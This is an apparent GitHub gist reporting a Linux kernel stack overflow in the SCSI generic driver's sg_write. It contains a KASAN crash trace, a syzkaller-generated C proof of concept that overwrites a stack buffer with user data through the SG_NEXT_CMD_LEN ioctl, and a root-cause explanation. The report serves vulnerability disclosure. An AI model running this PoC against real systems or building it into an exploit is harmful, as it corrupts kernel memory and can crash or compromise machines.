Created
March 20, 2017 09:43
-
-
Save dvyukov/48ad14e84de45b0be92b7f0eda20ff1b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
We've discovered an easy to trigger kernel stack smashing with user data in sg_write. Under KASAN is looks as: | |
BUG: KASAN: stack-out-of-bounds in __copy_from_user arch/x86/include/asm/uaccess_64.h:114 [inline] at addr ffff8801cc72fb68 | |
BUG: KASAN: stack-out-of-bounds in sg_write+0x74d/0xe90 drivers/scsi/sg.c:657 at addr ffff8801cc72fb68 | |
Write of size 255 by task syz-executor5/5673 | |
page:ffffea00064b9248 count:0 mapcount:0 mapping: (null) index:0x0 | |
flags: 0x200000000000000() | |
raw: 0200000000000000 0000000000000000 0000000000000000 00000000ffffffff | |
raw: dead000000000100 dead000000000200 0000000000000000 | |
page dumped because: kasan: bad access detected | |
CPU: 0 PID: 5673 Comm: syz-executor5 Not tainted 4.10.0-rc7+ #44 | |
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 | |
Call Trace: | |
__dump_stack lib/dump_stack.c:15 [inline] | |
dump_stack+0x2ee/0x3ef lib/dump_stack.c:51 | |
print_address_description mm/kasan/report.c:210 [inline] | |
kasan_report_error mm/kasan/report.c:289 [inline] | |
kasan_report.part.2+0x47f/0x4b0 mm/kasan/report.c:311 | |
kasan_report+0x21/0x30 mm/kasan/report.c:298 | |
check_memory_region_inline mm/kasan/kasan.c:315 [inline] | |
check_memory_region+0x139/0x190 mm/kasan/kasan.c:322 | |
kasan_check_write+0x14/0x20 mm/kasan/kasan.c:333 | |
__copy_from_user arch/x86/include/asm/uaccess_64.h:114 [inline] | |
sg_write+0x74d/0xe90 drivers/scsi/sg.c:657 | |
__vfs_write+0x5b1/0x740 fs/read_write.c:510 | |
vfs_write+0x187/0x530 fs/read_write.c:560 | |
SYSC_write fs/read_write.c:607 [inline] | |
SyS_write+0xfb/0x230 fs/read_write.c:599 | |
entry_SYSCALL_64_fastpath+0x1f/0xc2 | |
RIP: 0033:0x44fb59 | |
RSP: 002b:00007ff2b81ecb58 EFLAGS: 00000212 ORIG_RAX: 0000000000000001 | |
RAX: ffffffffffffffda RBX: 0000000020000eb0 RCX: 000000000044fb59 | |
RDX: 0000000000000150 RSI: 0000000020000eb0 RDI: 0000000000000025 | |
RBP: 0000000000000025 R08: 0000000000000000 R09: 0000000000000000 | |
R10: 0000000000000000 R11: 0000000000000212 R12: 0000000000708000 | |
R13: 00007ff2b81ec628 R14: 0000000000000001 R15: 0000000000000000 | |
Memory state around the buggy address: | |
ffff8801cc72fb00: f2 00 00 00 00 04 f2 f2 f2 f2 f2 f2 f2 00 00 00 | |
ffff8801cc72fb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
>ffff8801cc72fc00: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3 | |
^ | |
ffff8801cc72fc80: f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
ffff8801cc72fd00: f1 f1 f1 f1 00 00 f2 f2 f2 f2 f2 f2 00 00 00 00 | |
================================================================== | |
Here is a PoC that actually corrupts a spilled register: | |
// autogenerated by syzkaller (http://github.com/google/syzkaller) | |
#define _GNU_SOURCE | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/uio.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
const char* data = | |
"\xff\x02\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00" | |
"\x04\x09\x5a\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x01\x05\x06\xd5\x00\x00\x00\x00\x7a\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\xaf\x02\x06\x02\x00\x00\x00\x00" | |
"\xed\x9b\x68\x6a\x5b\xe2\x6d\x4f\xa7\x97\x62\xcb\x00\x00\x00\x00" | |
"\x03\x39\xf9\x03\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x81\x03\x00\x00\x00\x00" | |
"\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x06\x05\x13\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x80\x96\x98\x00\x00\x00\x00\x00\xcd\x40\x7f\x03\x00\x00\x00\x00" | |
"\xae\x00\x00\x00\x57\x00\x00\x00\xcd\xcd\xcd\xcd\x00\x00\x00\x00" | |
"\x00\xab\x81\xab\x00\x00\x00\x00\x00\x94\x35\x77\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x40\x80\x45\xdb\x00\x00\x00\x00" | |
"\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x00\xcd\xcd\xcd\xcd" | |
"\x05\x7f\xf9\x96\x00\x00\x00\x00\x00\x94\x35\x77\xcd\xcd\xcd\xcd" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x40\x03\x90\xab\xab\xab\xab" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcd\xcd\xcd\xcd" | |
"\x00\xd0\xba\x07\x00\x00\x00\x00\xcd\x7f\x00\x00\xcd\xcd\xcd\xcd" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x40\x80\xf8\xcd\xcd\xcd\xcd" | |
"\x01\x09\x07\x00\xd0\x4f\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00"; | |
int main() | |
{ | |
int fd = open("/dev/sg0", O_RDWR|O_NOATIME); | |
int arg = 0xff; | |
ioctl(fd, 0x2283 /*SG_NEXT_CMD_LEN*/, &arg); | |
struct iovec iov; | |
iov.iov_base = (void*)data; | |
iov.iov_len = 336; | |
int res = writev(fd, &iov, 1); | |
printf("res=%x\n", res); | |
return 0; | |
} | |
It prints: | |
res=bad150 | |
and "bad" comes from the user data here: "\x00\xd0\xba\x07\x00\x00\x00\x00\xcd\x7f\x00\x00\xcd\xcd\xcd\xcd" | |
The problem is with: | |
case SG_NEXT_CMD_LEN: | |
sfp->next_cmd_len = (val > 0) ? val : 0; | |
which can set sfp->next_cmd_len up to 0xff and: | |
#define SG_MAX_CDB_SIZE 252 | |
sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos) | |
{ | |
.... | |
unsigned char cmnd[SG_MAX_CDB_SIZE]; | |
.... | |
cmd_size = sfp->next_cmd_len; | |
.... | |
if (__copy_from_user(cmnd, buf, cmd_size)) | |
which copies up to 255 bytes into stack buffer of size 252. | |
On linux-next/9f7e70ff42dbf3af7ed0699906b699c41930b265 with defconfig+kvmconfig and gcc 4.8.4. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment